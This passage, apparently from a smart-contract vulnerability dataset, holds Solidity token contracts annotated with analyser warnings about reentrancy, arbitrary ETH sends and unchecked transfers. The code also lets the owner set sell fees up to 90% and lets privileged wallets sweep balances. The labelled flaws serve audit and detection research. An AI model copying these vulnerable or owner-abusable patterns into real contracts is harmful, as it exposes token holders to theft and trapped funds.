(block.number < tradingOpenBlock) {\n require(\n _isExcludedFromFee[from] || _isExcludedFromFee[to],\n \"Trading is not open yet and you are not authorized\"\n );\n }\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 31f1d50\n\t\t\t\t// reentrancy-eth | ID: e7a5ce3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 31f1d50\n\t\t\t\t\t// reentrancy-eth | ID: e7a5ce3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e7a5ce3\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: e7a5ce3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e7a5ce3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 31f1d50\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e7a5ce3\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: e7a5ce3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 31f1d50\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 06f044b\n\t\t// reentrancy-events | ID: 31f1d50\n\t\t// reentrancy-benign | ID: 008514a\n\t\t// reentrancy-eth | ID: e7a5ce3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 19dcb59): THEHOLYMASCOT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls (success,None) = _taxWallet.call{value amount}() (success_scope_0,None) = _taxWallet.call{value ethForTaxWallet}()\n\t// Recommendation for 19dcb59: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n if (_devPortion == 0) {\n\t\t\t// reentrancy-events | ID: 06f044b\n\t\t\t// reentrancy-events | ID: 31f1d50\n\t\t\t// reentrancy-benign | ID: 008514a\n\t\t\t// reentrancy-eth | ID: e7a5ce3\n\t\t\t// arbitrary-send-eth | ID: 19dcb59\n (bool success, ) = _taxWallet.call{value: amount}(\"\");\n success;\n } else {\n uint256 ethForDev = (amount * _devPortion) / 100;\n uint256 ethForTaxWallet = amount - ethForDev;\n\t\t\t// reentrancy-events | ID: 06f044b\n\t\t\t// reentrancy-events | ID: 31f1d50\n\t\t\t// reentrancy-benign | ID: 008514a\n\t\t\t// reentrancy-eth | ID: e7a5ce3\n (bool devsuccess, ) = _devWallet.call{value: ethForDev}(\"\");\n devsuccess;\n\t\t\t// reentrancy-events | ID: 06f044b\n\t\t\t// reentrancy-events | ID: 31f1d50\n\t\t\t// reentrancy-benign | ID: 008514a\n\t\t\t// reentrancy-eth | ID: e7a5ce3\n\t\t\t// arbitrary-send-eth | ID: 19dcb59\n (bool success, ) = _taxWallet.call{value: ethForTaxWallet}(\"\");\n success;\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6e9ccf7): THEHOLYMASCOT.addLP() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6e9ccf7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 81b9647): THEHOLYMASCOT.addLP() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 81b9647: Ensure that all the return values of the function calls are used.\n function addLP() external onlyOwner {\n require(tradingOpenBlock > block.number, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// unused-return | ID: 81b9647\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// unused-return | ID: 6e9ccf7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n function openTrading() external onlyOwner {\n require(tradingOpenBlock > block.number, \"Trading is already open\");\n tradingOpenBlock = block.number;\n swapEnabled = true;\n emit TradingOpened(block.timestamp, block.number);\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function setExcludedFromFee(\n address account,\n bool excluded\n ) external onlyOwner {\n require(account != address(0), \"Cannot set zero address\");\n _isExcludedFromFee[account] = excluded;\n }\n\n function setExcludedFromFeeMulti(\n address[] calldata accounts,\n bool excluded\n ) external onlyOwner {\n require(accounts.length > 0, \"Empty array\");\n for (uint256 i = 0; i < accounts.length; i++) {\n require(accounts[i] != address(0), \"Cannot set zero address\");\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet cannot be the zero address\"\n );\n _taxWallet = newTaxWallet;\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10168.sol",
"size_bytes": 22280,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 6ebad46\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 6ebad46\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: df10872\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract Trumptini is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a3ad9f0): Trumptini.uniswapV2Pair should be immutable \n\t// Recommendation for a3ad9f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8fbfe20): Trumptini.deployerWallet should be immutable \n\t// Recommendation for 8fbfe20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d9895e5): Trumptini.marketingWallet should be immutable \n\t// Recommendation for d9895e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: dde0002): Trumptini._name shadows ERC20._name\n\t// Recommendation for dde0002: Remove the state variable shadowing.\n string private constant _name = \"Trumptini\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 87e4c25): Trumptini._symbol shadows ERC20._symbol\n\t// Recommendation for 87e4c25: Remove the state variable shadowing.\n string private constant _symbol = \"MATA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b5c5bee): Trumptini.initialTotalSupply should be constant \n\t// Recommendation for b5c5bee: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 420690000000 * 1e18;\n\n uint256 public maxTransactionAmount = 4206900000 * 1e18;\n\n uint256 public maxWallet = 4206900000 * 1e18;\n\n uint256 public swapTokensAtAmount = 4206900000 * 1e18;\n\n bool public tradingOpen = false;\n\n uint256 public BuyFee = 5;\n\n uint256 public SellFee = 15;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 533600b): Trumptini.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 533600b: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 533600b\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(deployerWallet, initialTotalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df10872): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df10872: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6ebad46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6ebad46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: df10872\n\t\t\t// reentrancy-no-eth | ID: 6ebad46\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: 6ebad46\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: df10872\n\t\t\t\t// reentrancy-no-eth | ID: 6ebad46\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: df10872\n\t\t// reentrancy-no-eth | ID: 6ebad46\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: df10872\n\t\t// reentrancy-no-eth | ID: 6ebad46\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 99c19e0): Trumptini.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for 99c19e0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: 99c19e0\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b1fcefe): Trumptini.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for b1fcefe: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: b1fcefe\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 405ae9d): Trumptini.SetFees(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 405ae9d: Emit an event for critical parameter changes.\n function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 20 && _sellFee <= 90, \"Fees cannot exceed 90%\");\n\n\t\t// events-maths | ID: 405ae9d\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 405ae9d\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 065c12e): Trumptini.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for 065c12e: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 065c12e\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < 